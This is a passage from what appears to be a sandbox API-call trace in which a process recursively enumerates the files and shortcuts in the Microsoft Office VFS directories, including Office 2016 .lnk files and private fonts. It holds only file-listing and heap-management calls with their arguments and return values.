ftLastWriteTime.dwLowDateTime=0xf3e2b07e, ftLastWriteTime.dwHighDateTime=0x1d47c33, nFileSizeHigh=0x0, nFileSizeLow=0x166, dwReserved0=0x0, dwReserved1=0x0, cFileName="MS.WINWORD.16.1033.hxn", cAlternateFileName="MSWINW~1.HXN")) returned 1 [0232.141] FindNextFileW (in: hFindFile=0x33e4be8, lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x22, ftCreationTime.dwLowDateTime=0xecf3682d, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xecf3682d, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x3b85588b, ftLastWriteTime.dwHighDateTime=0x1d47c34, nFileSizeHigh=0x0, nFileSizeLow=0x1418, dwReserved0=0x0, dwReserved1=0x0, cFileName="nslist.hxl", cAlternateFileName="")) returned 1 [0232.141] FindNextFileW (in: hFindFile=0x33e4be8, lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x22, ftCreationTime.dwLowDateTime=0xecf3682d, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xecf3682d, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x3b85588b, ftLastWriteTime.dwHighDateTime=0x1d47c34, nFileSizeHigh=0x0, nFileSizeLow=0x1418, dwReserved0=0x0, dwReserved1=0x0, cFileName="nslist.hxl", cAlternateFileName="")) returned 0 [0232.141] FindClose (in: hFindFile=0x33e4be8 | out: hFindFile=0x33e4be8) returned 1 [0232.142] GetProcessHeap () returned 0xc10000 [0232.142] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3902878 | out: hHeap=0xc10000) returned 1 [0232.142] FindNextFileW (in: hFindFile=0x33e4a68, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xecf3682d, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x3b809370, ftLastAccessTime.dwHighDateTime=0x1d47c34, ftLastWriteTime.dwLowDateTime=0x3b809370, ftLastWriteTime.dwHighDateTime=0x1d47c34, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft Help", cAlternateFileName="MICROS~1")) returned 0 [0232.143] FindClose (in: hFindFile=0x33e4a68 | out: hFindFile=0x33e4a68) returned 1 [0232.143] GetProcessHeap () returned 0xc10000 [0232.143] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3438ff0 | out: hHeap=0xc10000) returned 1 [0232.143] FindNextFileW (in: hFindFile=0x33e4ba8, lpFindFileData=0x2e5ef40 | out: lpFindFileData=0x2e5ef40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x845a7d02, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x3c29db74, ftLastAccessTime.dwHighDateTime=0x1d47c34, ftLastWriteTime.dwLowDateTime=0x3c29db74, ftLastWriteTime.dwHighDateTime=0x1d47c34, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="Common Programs", cAlternateFileName="COMMON~1")) returned 1 [0232.143] GetProcessHeap () returned 0xc10000 [0232.143] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3438ff0 [0232.143] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\VFS\\Common Programs\\*", lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x845a7d02, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x3c29db74, ftLastAccessTime.dwHighDateTime=0x1d47c34, ftLastWriteTime.dwLowDateTime=0x3c29db74, ftLastWriteTime.dwHighDateTime=0x1d47c34, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e48a8 [0232.151] FindNextFileW (in: hFindFile=0x33e48a8, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x845a7d02, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x3c29db74, ftLastAccessTime.dwHighDateTime=0x1d47c34, ftLastWriteTime.dwLowDateTime=0x3c29db74, ftLastWriteTime.dwHighDateTime=0x1d47c34, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0232.152] FindNextFileW (in: hFindFile=0x33e48a8, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x245644bf, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x245644bf, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x245644bf, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x6cd, dwReserved0=0x0, dwReserved1=0x0, cFileName="Access 2016.lnk", cAlternateFileName="ACCESS~1.LNK")) returned 1 [0232.152] FindNextFileW (in: hFindFile=0x33e48a8, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x245644bf, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x245644bf, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x245fcdca, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x6d5, dwReserved0=0x0, dwReserved1=0x0, cFileName="Excel 2016.lnk", cAlternateFileName="EXCEL2~1.LNK")) returned 1 [0232.152] FindNextFileW (in: hFindFile=0x33e48a8, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x24517fc9, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xeb2fdc25, ftLastAccessTime.dwHighDateTime=0x1d47c33, ftLastWriteTime.dwLowDateTime=0x3c29db74, ftLastWriteTime.dwHighDateTime=0x1d47c34, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft Office 2016 Tools", cAlternateFileName="MICROS~1")) returned 1 [0232.152] GetProcessHeap () returned 0xc10000 [0232.152] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3902878 [0232.152] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\VFS\\Common Programs\\Microsoft Office 2016 Tools\\*", lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x24517fc9, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xeb2fdc25, ftLastAccessTime.dwHighDateTime=0x1d47c33, ftLastWriteTime.dwLowDateTime=0x3c29db74, ftLastWriteTime.dwHighDateTime=0x1d47c34, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e47e8 [0232.155] FindNextFileW (in: hFindFile=0x33e47e8, lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x24517fc9, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xeb2fdc25, ftLastAccessTime.dwHighDateTime=0x1d47c33, ftLastWriteTime.dwLowDateTime=0x3c29db74, ftLastWriteTime.dwHighDateTime=0x1d47c34, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0232.155] FindNextFileW (in: hFindFile=0x33e47e8, lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x24517fc9, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x24517fc9, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x245644bf, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x7e5, dwReserved0=0x0, dwReserved1=0x0, cFileName="Database Compare 2016.lnk", cAlternateFileName="DATABA~1.LNK")) returned 1 [0232.155] FindNextFileW (in: hFindFile=0x33e47e8, lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x24517fc9, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x24517fc9, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x24517fc9, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x6de, dwReserved0=0x0, dwReserved1=0x0, cFileName="Office 2016 Language Preferences.lnk", cAlternateFileName="OFFICE~1.LNK")) returned 1 [0232.155] FindNextFileW (in: hFindFile=0x33e47e8, lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x24517fc9, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x24517fc9, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x245fcdca, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x6fe, dwReserved0=0x0, dwReserved1=0x0, cFileName="Office 2016 Upload Center.lnk", cAlternateFileName="OFFICE~2.LNK")) returned 1 [0232.155] FindNextFileW (in: hFindFile=0x33e47e8, lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x3c29db74, ftCreationTime.dwHighDateTime=0x1d47c34, ftLastAccessTime.dwLowDateTime=0x3c29db74, ftLastAccessTime.dwHighDateTime=0x1d47c34, ftLastWriteTime.dwLowDateTime=0x3c29db74, ftLastWriteTime.dwHighDateTime=0x1d47c34, nFileSizeHigh=0x0, nFileSizeLow=0x766, dwReserved0=0x0, dwReserved1=0x0, cFileName="Project Server 2016 Accounts.lnk", cAlternateFileName="PROJEC~1.LNK")) returned 1 [0232.156] FindNextFileW (in: hFindFile=0x33e47e8, lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x245b0966, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x245b0966, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x245d6b52, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x6f4, dwReserved0=0x0, dwReserved1=0x0, cFileName="Skype for Business Recording Manager.lnk", cAlternateFileName="SKYPEF~1.LNK")) returned 1 [0232.156] FindNextFileW (in: hFindFile=0x33e47e8, lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x245b0966, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x245b0966, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x245fcdca, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x7f5, dwReserved0=0x0, dwReserved1=0x0, cFileName="Spreadsheet Compare 2016.lnk", cAlternateFileName="SPREAD~1.LNK")) returned 1 [0232.156] FindNextFileW (in: hFindFile=0x33e47e8, lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x245b0966, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x245b0966, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x245fcdca, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x730, dwReserved0=0x0, dwReserved1=0x0, cFileName="Telemetry Dashboard for Office 2016.lnk", cAlternateFileName="TELEME~1.LNK")) returned 1 [0232.156] FindNextFileW (in: hFindFile=0x33e47e8, lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x245b0966, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x245b0966, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x245d6b52, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x772, dwReserved0=0x0, dwReserved1=0x0, cFileName="Telemetry Log for Office 2016.lnk", cAlternateFileName="TELEME~2.LNK")) returned 1 [0232.156] FindNextFileW (in: hFindFile=0x33e47e8, lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x245b0966, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x245b0966, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x245d6b52, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x772, dwReserved0=0x0, dwReserved1=0x0, cFileName="Telemetry Log for Office 2016.lnk", cAlternateFileName="TELEME~2.LNK")) returned 0 [0232.156] FindClose (in: hFindFile=0x33e47e8 | out: hFindFile=0x33e47e8) returned 1 [0232.157] GetProcessHeap () returned 0xc10000 [0232.157] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3902878 | out: hHeap=0xc10000) returned 1 [0232.157] FindNextFileW (in: hFindFile=0x33e48a8, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x245b0966, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x245b0966, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x245d6b52, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x721, dwReserved0=0x0, dwReserved1=0x0, cFileName="OneDrive for Business.lnk", cAlternateFileName="ONEDRI~1.LNK")) returned 1 [0232.157] FindNextFileW (in: hFindFile=0x33e48a8, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x2466f613, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x2466f613, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x2466f613, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x6bb, dwReserved0=0x0, dwReserved1=0x0, cFileName="OneNote 2016.lnk", cAlternateFileName="ONENOT~1.LNK")) returned 1 [0232.158] FindNextFileW (in: hFindFile=0x33e48a8, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x2466f613, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x2466f613, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x24695725, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x6c9, dwReserved0=0x0, dwReserved1=0x0, cFileName="Outlook 2016.lnk", cAlternateFileName="OUTLOO~1.LNK")) returned 1 [0232.158] FindNextFileW (in: hFindFile=0x33e48a8, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x246bb96e, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x246bb96e, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x246bb96e, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x6f1, dwReserved0=0x0, dwReserved1=0x0, cFileName="PowerPoint 2016.lnk", cAlternateFileName="POWERP~1.LNK")) returned 1 [0232.158] FindNextFileW (in: hFindFile=0x33e48a8, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x3c29db74, ftCreationTime.dwHighDateTime=0x1d47c34, ftLastAccessTime.dwLowDateTime=0x3c29db74, ftLastAccessTime.dwHighDateTime=0x1d47c34, ftLastWriteTime.dwLowDateTime=0x3c29db74, ftLastWriteTime.dwHighDateTime=0x1d47c34, nFileSizeHigh=0x0, nFileSizeLow=0x6ff, dwReserved0=0x0, dwReserved1=0x0, cFileName="Project 2016.lnk", cAlternateFileName="PROJEC~1.LNK")) returned 1 [0232.158] FindNextFileW (in: hFindFile=0x33e48a8, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x246bb96e, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x246bb96e, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x246bb96e, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x6c9, dwReserved0=0x0, dwReserved1=0x0, cFileName="Publisher 2016.lnk", cAlternateFileName="PUBLIS~1.LNK")) returned 1 [0232.158] FindNextFileW (in: hFindFile=0x33e48a8, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x246bb96e, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x246bb96e, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x246bb96e, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x703, dwReserved0=0x0, dwReserved1=0x0, cFileName="Skype for Business 2016.lnk", cAlternateFileName="SKYPEF~1.LNK")) returned 1 [0232.158] FindNextFileW (in: hFindFile=0x33e48a8, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x5277b31, ftCreationTime.dwHighDateTime=0x1d47c32, ftLastAccessTime.dwLowDateTime=0x5277b31, ftLastAccessTime.dwHighDateTime=0x1d47c32, ftLastWriteTime.dwLowDateTime=0x5277b31, ftLastWriteTime.dwHighDateTime=0x1d47c32, nFileSizeHigh=0x0, nFileSizeLow=0x6f3, dwReserved0=0x0, dwReserved1=0x0, cFileName="Visio 2016.lnk", cAlternateFileName="VISIO2~1.LNK")) returned 1 [0232.158] FindNextFileW (in: hFindFile=0x33e48a8, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x246bb96e, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x246bb96e, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x246bb96e, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x6f5, dwReserved0=0x0, dwReserved1=0x0, cFileName="Word 2016.lnk", cAlternateFileName="WORD20~1.LNK")) returned 1 [0232.158] FindNextFileW (in: hFindFile=0x33e48a8, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x246bb96e, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x246bb96e, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x246bb96e, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x6f5, dwReserved0=0x0, dwReserved1=0x0, cFileName="Word 2016.lnk", cAlternateFileName="WORD20~1.LNK")) returned 0 [0232.158] FindClose (in: hFindFile=0x33e48a8 | out: hFindFile=0x33e48a8) returned 1 [0232.159] GetProcessHeap () returned 0xc10000 [0232.159] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3438ff0 | out: hHeap=0xc10000) returned 1 [0232.159] FindNextFileW (in: hFindFile=0x33e4ba8, lpFindFileData=0x2e5ef40 | out: lpFindFileData=0x2e5ef40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x845a7d02, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x868ac6fd, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x868ac6fd, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="Fonts", cAlternateFileName="")) returned 1 [0232.159] GetProcessHeap () returned 0xc10000 [0232.159] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3438ff0 [0232.159] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\VFS\\Fonts\\*", lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x845a7d02, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x868ac6fd, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x868ac6fd, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4828 [0232.159] FindNextFileW (in: hFindFile=0x33e4828, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x845a7d02, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x868ac6fd, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x868ac6fd, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0232.159] FindNextFileW (in: hFindFile=0x33e4828, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x868ac6fd, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x8913323b, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x8913323b, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="private", cAlternateFileName="")) returned 1 [0232.160] GetProcessHeap () returned 0xc10000 [0232.160] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3902878 [0232.160] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\VFS\\Fonts\\private\\*", lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x868ac6fd, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x8913323b, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x8913323b, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4be8 [0232.217] FindNextFileW (in: hFindFile=0x33e4be8, lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x868ac6fd, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x8913323b, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x8913323b, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0232.218] FindNextFileW (in: hFindFile=0x33e4be8, lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x868ac6fd, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x868ac6fd, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x868d297b, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0xecf0, dwReserved0=0x0, dwReserved1=0x0, cFileName="AGENCYB.TTF", cAlternateFileName="")) returned 1 [0232.218] FindNextFileW (in: hFindFile=0x33e4be8, lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x86a29e47, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x86a29e47, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x86a9c5a1, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0xe628, dwReserved0=0x0, dwReserved1=0x0, cFileName="AGENCYR.TTF", cAlternateFileName="")) returned 1 [0232.218] FindNextFileW (in: hFindFile=0x33e4be8, lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x86f14c12, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x86f14c12, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x89c602ef, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x12b2c, dwReserved0=0x0, dwReserved1=0x0, cFileName="ALGER.TTF", cAlternateFileName="")) returned 1 [0232.218] FindNextFileW (in: hFindFile=0x33e4be8, lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x86a29e47, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x86a29e47, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x86e09b78, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x24dd8, dwReserved0=0x0, dwReserved1=0x0, cFileName="ANTQUAB.TTF", cAlternateFileName="")) returned 1 [0232.218] FindNextFileW (in: hFindFile=0x33e4be8, lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x86f14c12, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x86f14c12, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x89c602ef, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x24b90, dwReserved0=0x0, dwReserved1=0x0, cFileName="ANTQUABI.TTF", cAlternateFileName="")) returned 1 [0232.218] FindNextFileW (in: hFindFile=0x33e4be8, lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x86f14c12, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x86f14c12, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x89c602ef, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x24664, dwReserved0=0x0, dwReserved1=0x0, cFileName="ANTQUAI.TTF", cAlternateFileName="")) returned 1 [0232.218] FindNextFileW (in: hFindFile=0x33e4be8, lpFindFileData=0x2e5ea30 | out: 